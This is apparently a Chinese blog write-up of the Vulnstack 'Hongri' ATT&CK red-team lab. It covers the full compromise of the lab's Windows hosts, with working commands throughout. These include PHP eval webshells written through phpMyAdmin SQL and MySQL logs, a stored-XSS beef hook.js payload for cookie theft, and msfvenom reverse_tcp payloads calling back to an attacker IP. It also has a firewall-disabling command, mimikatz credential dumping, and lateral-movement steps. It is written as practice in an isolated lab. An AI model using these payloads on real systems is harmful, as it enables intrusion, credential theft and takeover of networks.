01 ATT&CK红队评估

已于 2023-07-19 23:40:12 修改
阅读量387 收藏
点赞数
分类专栏： 漏洞复现 文章标签： web安全 红日靶场 渗透
于 2023-07-19 22:37:15 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_52671379/article/details/131805599
版权

01 ATT&CK红队评估

一、环境搭建

vulnstack-Win2K3 Metasploitable
请添加图片描述

vulnstack-win7
请添加图片描述

C盘下开启phpstudy
请添加图片描述

vulnstack-winserver08
请添加图片描述

windows7：(内：192.168.52.143 / 外：192.168.31.212(外网根据你的物理机进行分配))
windows2003：(内：192.168.52.141)
windows2008:（内：192.168.52.138）

二、信息搜集

(1)nmap

nmap -T4 -A 192.168.31.212 -o 212.txt

212.txt

Starting Nmap 7.93 ( https://nmap.org ) at 2023-07-19 11:26 CST
Nmap scan report for stu1 (192.168.31.212)
Host is up (0.00061s latency).
Not shown: 990 filtered tcp ports (no-response)
PORT     STATE SERVICE      VERSION
80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)
|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45
|_http-title: phpStudy \xE6\x8E\xA2\xE9\x92\x88 2014 
135/tcp  open  msrpc        Microsoft Windows RPC
139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: GOD)
1025/tcp open  msrpc        Microsoft Windows RPC
1026/tcp open  msrpc        Microsoft Windows RPC
1027/tcp open  msrpc        Microsoft Windows RPC
1028/tcp open  msrpc        Microsoft Windows RPC
3306/tcp open  mysql        MySQL (unauthorized)
5357/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Service Unavailable
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: -24s, deviation: 0s, median: -25s
| smb2-time: 
|   date: 2023-07-19T03:27:30
|_  start_date: 2023-07-19T01:50:17
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   210: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: STU1, NetBIOS user: <unknown>, NetBIOS MAC: 000c29b43b31 (VMware)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.47 seconds

(2)dirsearch 80端口探测

[11:28:33] 200 -   14KB - /l.php                                             
[11:28:40] 301 -  241B  - /phpMyAdmin  ->  http://192.168.31.212/phpMyAdmin/ 
[11:28:42] 200 -    4KB - /phpMyAdmin/index.php                              
[11:28:42] 200 -    4KB - /phpMyAdmin/                                       
[11:28:42] 200 -    4KB - /phpMyadmin/                                       
[11:28:42] 200 -   71KB - /phpinfo.php                                       
[11:28:42] 200 -    4KB - /phpmyAdmin/                                       
[11:28:42] 301 -  241B  - /phpmyadmin  ->  http://192.168.31.212/phpmyadmin/ 
[11:28:42] 200 -    4KB - /phpmyadmin/                                       
[11:28:42] 200 -    2KB - /phpmyadmin/README                                 
[11:28:42] 200 -   32KB - /phpmyadmin/ChangeLog                              
[11:28:42] 200 -    4KB - /phpmyadmin/index.php                              
[11:28:56] 403 -  226B  - /web.config::$DATA

三、web渗透

(1)弱口令登录
http://192.168.31.212/phpmyadmin/ 弱密码 root root
(2)phpmyadmin写马
phpmyadmin中写马两种思路
一,在网站根目录下

①查select @@basedir;

请添加图片描述

②利用into outfile进行写
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpStudy/MySQL/cc.php';#网站的根目录

请添加图片描述

查看 secure-file-priv 当前的值

show variables like '%secure%';

请添加图片描述
写马失败

二,利用mysql日志写文件
general log 指的是日志保存状态，ON代表开启 OFF代表关闭；
general log file 指的是日志的保存路径。

show variables like '%general%'; #查看日志状态-->即可爆出日志的保存状态和保存路径
SET GLOBAL general_log='on'
SET GLOBAL general_log_file='根目录'#即设置日志保存的根目录的地址-->即典型你要写马的位置
SELECT '<?php eval($_POST["cmd"]);?>'#执行语句-->即在日志文件中会直接生成

在这里插入图片描述

general_log_file  C:\phpStudy\MySQL\data\stu1.log


SET GLOBAL general_log='on';
SET GLOBAL general_log_file='C:\phpStudy\WWW\xiaoyu.php';

在这里插入图片描述

在这里插入图片描述
写马
在这里插入图片描述
访问：
在这里插入图片描述
win7崩了哈哈😂
192.168.31.212 ---->192.168.31.177
在这里插入图片描述

四、web渗透2

在蚁剑中看到目录yxcms
访问：http://192.168.31.177/yxcms

在这里插入图片描述
后台登陆：http://192.168.31.177/yxcms//index.php?r=admin/index/login
在这里插入图片描述在这里插入图片描述
写马：前台模块-管理模块文档-新建

在这里插入图片描述在这里插入图片描述通过之前的渗透找马的路径

ip/yxcms/protected/apps/default/view/default/xiaoyu2.php

在这里插入图片描述
成功
![在这里插入图片描述](https://img-blog.csdnimg.cn/2dcacc4cc6894a0d949cee9961e5aa17.png

四、web渗透3

假如不知后台账密,也没有phpmyadmin弱口令，如何getshell
开始打点
yxcms历史漏洞xss注入（存储型XSS）
在这里插入图片描述

kali模拟后台
在这里插入图片描述
确定网站存在存储型 XXS 后，计划利用 beef-xss 的 hook 功能模块获取后台管理员的cookie消息

（1）beef-xss安装

sudo apt-get install beef-xss
sudo beef-xss.

第一次启动beef要修改密码，要仔细看清楚
在这里插入图片描述

（2）快速上手beef-xss

http://127.0.0.1:3000/ui/panel

beef的管理面板
输入自己的账号 beef 密码
在这里插入图片描述
查看kali的ip地址
构造下面js代码，想办法去浏览器执行

（ip用你自己kali的ip）

回到靶机
构造下面js代码，留言板上提交

<script src="http://192.168.31.240:3000/hook.js"></script>（ip用你自己kali的ip）

在这里插入图片描述
kali模拟后台审核
在这里插入图片描述成功获取信息
beef管理平台
在这里插入图片描述
利 用 Burp Suite 代 理 工 具 ， 抓 取 管 理 员 后 台 登 录 时 的 请 求 包 ， 在Proxy—>Option—>Match and Replace 板块添加一个规则：^Cookie.*$，其中Cookie 填入 beef-xss 中获取的 cookie 消息，添加好后把 enabled 勾上，这样每次经过 burp 的请求都是固定的 cookie
抓包：http://192.168.31.177/yxcms//index.php?r=admin/index/login
在这里插入图片描述

直接访问：http://192.168.31.177/yxcms//index.php?r=admin/index
在这里插入图片描述进入后台管理后和前面一样上马
不一样的就是不知道目录，马的地址
查
在这里插入图片描述逐级爆破
在这里插入图片描述
运气比较好发现了info.php
在这里插入图片描述在这里插入图片描述那我们也就知道了目录，info.php和index_index.php应该在同一目录下或者直接写马进info.php
在这里插入图片描述

在这里插入图片描述
over

四、内网信息收集

fscan蚁剑上传
蚁剑命令执行ipconfig
内网信息
在这里插入图片描述
fscan.exe -h 192.168.52.0/24

192.168.52.141:7002 open
192.168.52.141:7001 open
192.168.52.138:135 open
192.168.52.143:80 open
192.168.52.138:80 open
192.168.52.141:21 open
192.168.52.143:3306 open
192.168.52.141:445 open
192.168.52.143:445 open
192.168.52.138:445 open
192.168.52.141:139 open
192.168.52.143:139 open
192.168.52.138:139 open
192.168.52.141:135 open
192.168.52.143:135 open
192.168.52.141:8099 open
192.168.52.141:8098 open
192.168.52.138:88 open
[*] NetInfo:
[*]192.168.52.143
   [->]stu1
   [->]192.168.31.177
   [->]192.168.52.143
   [->]169.254.129.186
[+] 192.168.52.143	MS17-010	(Windows 7 Professional 7601 Service Pack 1)
[*] NetInfo:
[*]192.168.52.141
   [->]root-tvi862ubeh
   [->]192.168.52.141
[*] NetInfo:
[*]192.168.52.138
   [->]owa
   [->]192.168.52.138
[*] NetBios: 192.168.52.143  stu1.god.org                        Windows 7 Professional 7601 Service Pack 1
[+] 192.168.52.141	MS17-010	(Windows Server 2003 3790)
[*] WebTitle: http://192.168.52.141:7002 code:200 len:2632   title:Sentinel Keys License Monitor
[*] NetBios: 192.168.52.138  [+] DC:owa.god.org                   Windows Server 2008 R2 Datacenter 7601 Service Pack 1
[+] 192.168.52.138	MS17-010	(Windows Server 2008 R2 Datacenter 7601 Service Pack 1)
[+] ftp://192.168.52.141:21:anonymous 
[*] WebTitle: http://192.168.52.141:8099 code:403 len:1409   title:The page must be viewed over a secure channel
[*] WebTitle: http://192.168.52.143     code:200 len:14749  title:phpStudy 探针 2014
[*] WebTitle: http://192.168.52.138     code:200 len:689    title:IIS7

发现两台终端及相关漏洞
192.168.52.138
192.168.52.141

cs部署后门

cs新建监听
在这里插入图片描述生成后门
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

执行xiaoyu.exe
在这里插入图片描述
cs上线
在这里插入图片描述提权到 SYSTEM 系统权限账户

在这里插入图片描述在这里插入图片描述提权成功
在这里插入图片描述
接下来就看一下大佬的wp吧
因为我也是来学的
（1）使用ipconfig /all 判断是否存在域, 可以看到存在gob.org域
在这里插入图片描述

(2) 获取域内用户的详细信息：wmic useraccount get /all
在这里插入图片描述

(3) 查看是否存在杀毒进程：tasklist
在这里插入图片描述

除了使用CS外，我们也可以使用msf进入操作。

msf渗透

(1)使用msf生成xiaoyu2.exe

msfconsole -p windows/x64/meterpreter/reverse_tcp lHOST=192.168.31.240 LPORT=6666 -f exe > xiaoyu2.exe

(2) 将xiaoyu2.exe使用蚁剑上传到web服务器中。msf开启监听
在这里插入图片描述

use exploit/multi/handler

set payload windows/x64/meterpreter/reverse_tcp

set lhost 192.168.31.240

set lport 6666

exploit

在这里插入图片描述
我靠，6666没监听到
在这里插入图片描述
反弹成功，换一个端口5678

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.31.240 LPORT=5678 -f exe -o xiaoyu3.exe

haohaoaho~
还是不行，玩把大的LPORT=14444
在这里插入图片描述
nononononononon

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.31.240 lport=1000 -f exe -o xiaoyu5.exe

第五个啦，终于mei成功
无效
在这里插入图片描述
再来一个，网安人咱不怕
(3) 运行xiaoyu5.exe，msf成功反弹shell
在这里插入图片描述
中文kali不行
在这里插入图片描述

(4) msf中getsystem也可直接提权
在这里插入图片描述

（5）MSF使用_MSF中kiwi(mimikatz)模块的使用

1) 首先:提权到system权限：

一是当前的权限是administrator用户；

二是利用其它手段先提权到administrator用户。然后administrator用户可以直接在meterpreter_shell中使用命令getsystem提权到system权限。

2)进程迁移

kiwi模块同时支持32位和64位的系统，但是该模块默认是加载32位的系统，所以如果目标主机是64位系统的话，直接默认加载该模块会导致很多功能无法使用。

所以如果目标系统是64位的，则必须先查看系统进程列表，然后将meterpreter进程迁移到一个64位程序的进程中，才能加载kiwi并且查看系统明文。如果目标系统是32位的，则没有这个限制。

查看进程信息:ps
在这里插入图片描述

把进程迁移到PID为212这个程序中(因为当前用户)：
lsm.exe是一个系统进程，为本地会话管理器服务

注：因为目标系统是64位的所以需要把meterpreter进程迁移到一个64位程序的进程中。
在这里插入图片描述

load kiwi #加载kiwi模块

在这里插入图片描述

help kiwi #查看kiwi模块的使用

在这里插入图片描述

creds_all： #列举所有凭据
在这里插入图片描述

creds_kerberos： #列举所有kerberos凭据
在这里插入图片描述
后面这些还有些没懂
creds_msv： #列举所有msv凭据

creds_ssp： #列举所有ssp凭据

creds_tspkg： #列举所有tspkg凭据

creds_wdigest： #列举所有wdigest凭据

dcsync： #通过DCSync检索用户帐户信息

dcsync_ntlm： #通过DCSync检索用户帐户NTLM散列、SID和RID

golden_ticket_create： #创建黄金票据

kerberos_ticket_list： #列举kerberos票据

kerberos_ticket_purge： #清除kerberos票据

kerberos_ticket_use： #使用kerberos票据

kiwi_cmd： #执行mimikatz的命令，后面接mimikatz.exe的命令

lsa_dump_sam： #dump出lsa的SAM

lsa_dump_secrets： #dump出lsa的密文

password_change： #修改密码

wifi_list： #列出当前用户的wifi配置文件

wifi_list_shared： #列出共享wifi配置文件/编码

内网横向

(1)获取到一个 cs 的 beacon 后可以目标内网情况和端口开放情况

在 beacon 上右键 -> 目标 -> 选择 net view 或者 port scan
在这里插入图片描述在这里插入图片描述
(2). 执行后可以在 Targets 选项卡看到扫描出来的主机
在这里插入图片描述

(3). 用 cs 的 hashdump 读内存密码：hashdump，用 mimikatz 读注册表密码：logonpasswords
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
4.横向移动

这里有很多种方式，可以：

1.)cs 上开通 socks 通道，在攻击机上用 proxychains 将攻击机的 msf 代入内网，但是 cs 的 socks 代理不稳定

2.)ew 添加转接隧道，在攻击机上用 proxychains 将攻击机的 msf 代入内网

3.)cs 派生到 msf，msf 使用 socks4a 代理进内网，但是并不稳定

4.)cs 派生到 msf，msf 使用使用 autoroute 添加路由进内网

5.)用 frp 创建 socks5 代理

5.SMB Beacon

另外这里还要介绍下 cs 派生 SMB Beacon

SMB Beacon 使用命名管道通过父级 Beacon 进行通讯，当两个 Beacons 链接后，子 Beacon 从父 Beacon 获取到任务并发送。因为链接的 Beacons 使用 Windows 命名管道进行通信，此流量封装在 SMB 协议中，所以 SMB Beacon 相对隐蔽，绕防火墙时可能发挥奇效

简单来说，SMB Beacon 有两种方式

第一种直接派生一个孩子，目的为了进一步盗取内网主机的 hash

1)新建一个 Listener，payload 设置为 Beacon SMB：
在这里插入图片描述

2)选择后会反弹一个子会话，在 external 的 ip 后面会有一个链接的小图标：

这就是派生的 SMB Beacon，当前没有连接

可以在主 Beacon 上用 link host 连接它，或者 unlink host 断开它

第二种在已有的 beacon 上创建监听，用来作为跳板进行内网穿透

前提是能够通过 shell 之类访问到内网其他主机

  1. psexec使用凭证登录其他主机

前面横向探测已经获取到内网内的其他 Targets 以及读取到的凭证信息

于是可以尝试使用 psexec 模块登录其他主机

1)右键选择一台非域控主机 ROOT-TVI862UBEH 的 psexec 模块
在这里插入图片描述最重要的没复现出来，跪求大佬指导一下，
在这里插入图片描述
最后，勉励一下，学习至上，虽然最后横向移动没复现但是前面还是学到好多

接着
查看防火墙状态
shell netsh firewall show state
在这里插入图片描述

关闭防火墙
shell netsh advfirewall set allprofile state off
在这里插入图片描述

域渗透

查看当前域内列表

在这里插入图片描述

执行成功后cs会将域内主机添加进去
在这里插入图片描述
在这里插入图片描述
查看域控列表
net dclist
在这里插入图片描述
抓取服务器凭证
在这里插入图片描述
抓取明文密码
logonpasswords
在这里插入图片描述
创建smb监听器

在这里插入图片描述

横向
在这里插入图片描述
在这里插入图片描述
game over
在这里插入图片描述

老young可爱
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
ATT&CK红队评估（红日靶场一）
weixin_45682839的博客
03-10 1372
靶场搭建 下载地址：漏洞详情 虚拟网络编辑器新建一个仅主机模式的网络，子网地址改成192.168.52.0（也可以不用新建，但是必须是仅主机模式） 将windows2003和windows2008两台主机都设置为自定义VMnet16 windows7配置 攻击主机kali配置 kali和win7的第二个网卡可以在同一个自定义仅主机模式网段下，也可以同在NAT下 设置好之后，win7主机开启phpsyudy，配置就完成了 win7 内网网段192.168.52.
【红日靶场系列】ATT&CK红队评估1
weixin_45632448的博客
07-06 2858
内网渗透学习过程，简单记录一下靶场下载地址： 今天做的是第一个ATT&CK实战系列——红队实战（一）下载下来之后一共有三个虚拟机，解压到虚拟机目录下 分别对应的是Windows7，Windows Server 2003和Windows Server 2008。另外我们还需要一台攻击机，这里选用的是kali2022.1（其实真实环境自己主机就相当于攻击机），网络拓扑图如下所示： 靶场提供的三个主机在同一个网段中，另外Win7主机有两张网卡，模拟可以与外网进行通信的主机，且安装有phpstudy，部署了we
红日靶场-ATT&CK实战系列-红队评估（一）
最新发布
m0_66638011的博客
06-21 875
红日靶机是一系列专门为渗透测试和网络安全实验室设计的虚拟机器。这些靶机提供了一系列不同的漏洞和攻击场景，使渗透测试者可以在这些环境下测试自的技能和工具。红日靶机主要以内网渗透学习为主。红日靶场的网络结构复杂多样，包括外网、内网、DMZ区域等。不同的网络区域之间通过防火墙、路由器等设备进行隔离和访问控制。靶场网络结构中还包括了各种服务器和网络设备，如Web服务器、数据库服务器、文件服务器等。
ATT&CK实战系列-红队评估（一）
weixin_51801534的博客
12-22 2404
1.信息收集 ┌──(root????kali)-[~/桌面] └─# nmap -Pn -A -T4 192.168.1.100 2.指纹信息 3.┌──(root????kali)-[~/桌面] └─# nmap --script=vuln,auth 192.168.1.100 负责处理鉴权证书（绕开鉴权）的脚本,也可以作为检测部分应用弱口令 4.目录扫描 5.访问探针进行信息收集 6.看到上面扫描的有phpmyadmin，访问phpmyadmin ...
ATT&CK实战系列-红队评估(一)
v2ish1yan的博客
02-26 810
这个靶场的流程，就是外网渗透拿到主机shell扫描内网存活主机，并查看是否存在历史漏洞使用内网代理和路由转发来对内网主机进行攻击应该还有很多思路，这个是比较简单的靶场，继续加油。
ATT&CK红队评估实战靶场-1(全网最细)
lwwzyy
12-20 3970
声明：该系列文章首发于公众号：纁玄安全，转载请注明出处！本公众号所分享内容仅用于网安爱好者之间的技术讨论，所有渗透及工具的使用都需获取授权，禁止用于违法途径，否则需自行承担，本公众号及作者不承担相应的后果。 ATT&CK红队评估实战靶场-1 目录： 1. 环境配置 插播一点网络配置的姿势 2. 实战 2.1 信息收集 2.2 web站点探测 2.3 getshell 3 漏洞 3.1 目录遍历漏洞 3.2 存储型XSS 4. ..
MITRE ATT&CK实践入门1
08-04
本文将围绕四个关键应用场景——网络威胁情报、检测与分析、对手模拟与红队以及评估与工程，对MITRE ATT&CK的实践应用进行详细阐述。 一、网络威胁情报 对于初学者，可以从公开源获取已映射到ATT&CK框架的报告，...
关于如何建立企业内部的ATT&CK的介绍说明.zip
11-07
8. **持续改进**：定期评估和调整安全策略，确保其与ATT&CK框架保持同步，同时根据实际检测到的威胁进行调整。 9. **实战演练**：通过模拟攻击或红队演练，检验企业的防御能力，找出不足并进行修复。 10. **共享...
TDC2021 - Mitre Att_ck.pdf
10-06
总结来说，《TDC2021 - Mitre Att&ck.pdf》强调了在网络安全领域，使用Mitre Att&ck框架和Cyber Kill Chain模型对于提升红队、蓝队以及紫队协作的重要性。这些工具和概念有助于组织更好地理解攻击者的操作模式，从而...
mitre-getting-started-with-attack-october-2019.pdf
11-03
总的来说，"Getting Started with MITRE ATT&CK"为初次接触该框架的读者提供了一个逐步指导，介绍了如何根据组织的资源和成熟度将ATT&CK应用于威胁情报、检测与分析、对手模拟与红队测试以及评估与工程化。...
如何管理红队.pdf
10-06
同时，作为Mitre Att&ck的贡献者，他们对已知攻击技术和战术有深入理解，能够运用这些知识来设计更有效的渗透测试场景。 此外，国际认证（+90 Certificações internacionais）表明团队成员接受过广泛的专业训练，...
ATT&CK实战系列-红队评估（一）WP
h1nt的博客
08-16 515
环境配置 靶机下载地址 http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 按要求对三个靶机进行网络环境配置，最终网络拓扑结构如下 win7 外网192.168.133.143/内网 192.168.58.128 win server 2003 内网 192.168.58.141 win server 2008 内网192.168.58.138 按靶场介绍，口令统一为hongrisec@2019
【靶场系列】01 ATT&CK红队评估
qq_41169485的博客
04-21 1553
为web服务器，应设置为双网卡主机，其中NAT网卡与攻击机相连，VMnet1网卡与其他两台靶机相连 (图中设置错误，应设置网络适配器1为VMnet1)发现l.php探针和phpmyadmin目录，访问探针，暴露了该服务器使用的是phpstudy，所以猜测mysql账号密码为。为了保持会话，我们把后门注入到一个正常的程序里，但又不能影响程序运行，这里选择Everything.exe。VMnet1网卡为仅主机模式，设置IP段为192.168.52.0，确保三台主机均可以相互ping通。
ATT&CK红队评估（红日靶场二）
weixin_45682839的博客
04-11 2773
靶场搭建 靶场下载地址：漏洞详情 一共有三台主机：WEB、DC、PC WEB主机有两张网卡，第一张网卡NAT，第二张网卡选择一个仅主机模式的网络（vmvare可以通过编辑里的虚拟网络编辑器进行添加或修改网络）这里我选择的是创建的仅主机vmnet15网络 DC主机只有一张网卡，选择和WEB第二章网卡一样的vmnet15网络 PC有两张网卡，配置和WEB主机一样，第一张网卡NAT，第二张网卡vmnet15 网络设置完成后进行开机 WEB主机以administrator第一次登录时没
ATT&CK红队评估（红日靶场四）
weixin_45682839的博客
04-28 5443
ATT&CK红队评估（红日靶场四）通关攻略，涉及知识包括： Struts2漏洞利用、phpmyadmin getshell、tomcat 漏洞利用、ms17_010、docker逃逸、ms14_068、ssh密钥利用、流量转发、横向移动、内网渗透等。
Vulnstack----1、ATT&CK红队评估实战靶场一
七天
08-01 1255
3、敏感目录：http://192.168.144.132/phpMyadmin。4、发现yxcms:http://192.168.144.132/yxcms。192.168.52.143:存在MS17-010。192.168.52.138:存在MS17-010。域用户：dev1、root-tvi862ubeh。win7内网ip：192.168.52.143。1、ip地址：192.168.144.132。内网ip地址：192.168.52.143。内网网段：192.168.52.0/24。
ATK&CK红队评估实战靶场（一）
mingyqf的博客
01-31 1978
ATK&CK红队评估实战靶场（一）的搭建和模拟攻击过程全过程 回到顶部 0x01 前言 本靶机环境是红日团队开源的一个红队实战测试环境，靶机下载地址如下： http://vulnstack.qiyuanxuetang.net/vuln/detail/2/ 通过模拟真实环境搭建的漏洞靶场，完全模拟ATK&CK攻击链路进行搭建，形成完整个闭环。虚拟机默认密码为hongrisec@2019。 回到顶部 0x02 环境搭建 本次环境搭建和靶机默认有些区别，我是在一台服务器的虚拟机上搭建的，服务器.
ATT&CK红队评估实战靶场（一）
qq_53263789的博客
05-16 636
写在前面的话 第一次尝试这种渗透靶场，还是在考试的三天中完成的，会接着进行其他的靶场(真是又菜又爱玩) 靶场地址：vulunstack 靶场搭建 Win7：密码: cys121` 外网192.168.47.132 内网 192.168.52.143 Win2008 密码：cys121` 内网 192.168.52.138 Win2003 密码:cys121` 内网 192.168.52.141 经过互相ping 内网三台机器可以互相ping通 Kali 外网 192.168.
ATT&CK实战系列-红队评估 （红日靶场1）Vulnstack三层网络域渗透靶场
qq_47289634的博客
07-07 398
换个思路，这个时候就可以利用(general_log、general_log file)日志文件getshell，general_log就是记录输入的日志文件，general_log file就是规定日志保存在哪个路径，我们只要输入一句话然后保存网站目录下的php文件就OK了。开启它，设置general_log为on，并且把日志存放路径设置为网站根目录，这样就可以写入shell了。保证kali和本机可以访问win7，给win7配置两块网卡，让win7既可以访问外网，也可以访问内网。
ATT\\\\&CK红队评估实战靶场四
08-16
ATT&CK红队评估实战靶场四是一个实战训练场景，其中使用了phpmyadmin来利用数据库日志写入马来获取会话。具体的方法和之前的红日靶场一类似，你可以去查看相关链接了解更多细节。在攻击机要访问52网段的资源时，可以使用session 4作为下一跳进行路由设置。可以通过routeprint命令查看路由表，并使用routeadd命令添加相应的路由。此外，可以通过将SSH公钥添加到/home/ubuntu/.ssh/authorized_keys文件来实现免密登录到目标机器。具体命令是将SSH公钥追加到该文件中。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *3* [ATT&CK红队评估（红日靶场四）](https://blog.csdn.net/weixin_45682839/article/details/124485070)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *2* [ATT&CK红队评估实战靶场-1(全网最细)](https://blog.csdn.net/qq_40638006/article/details/122033546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值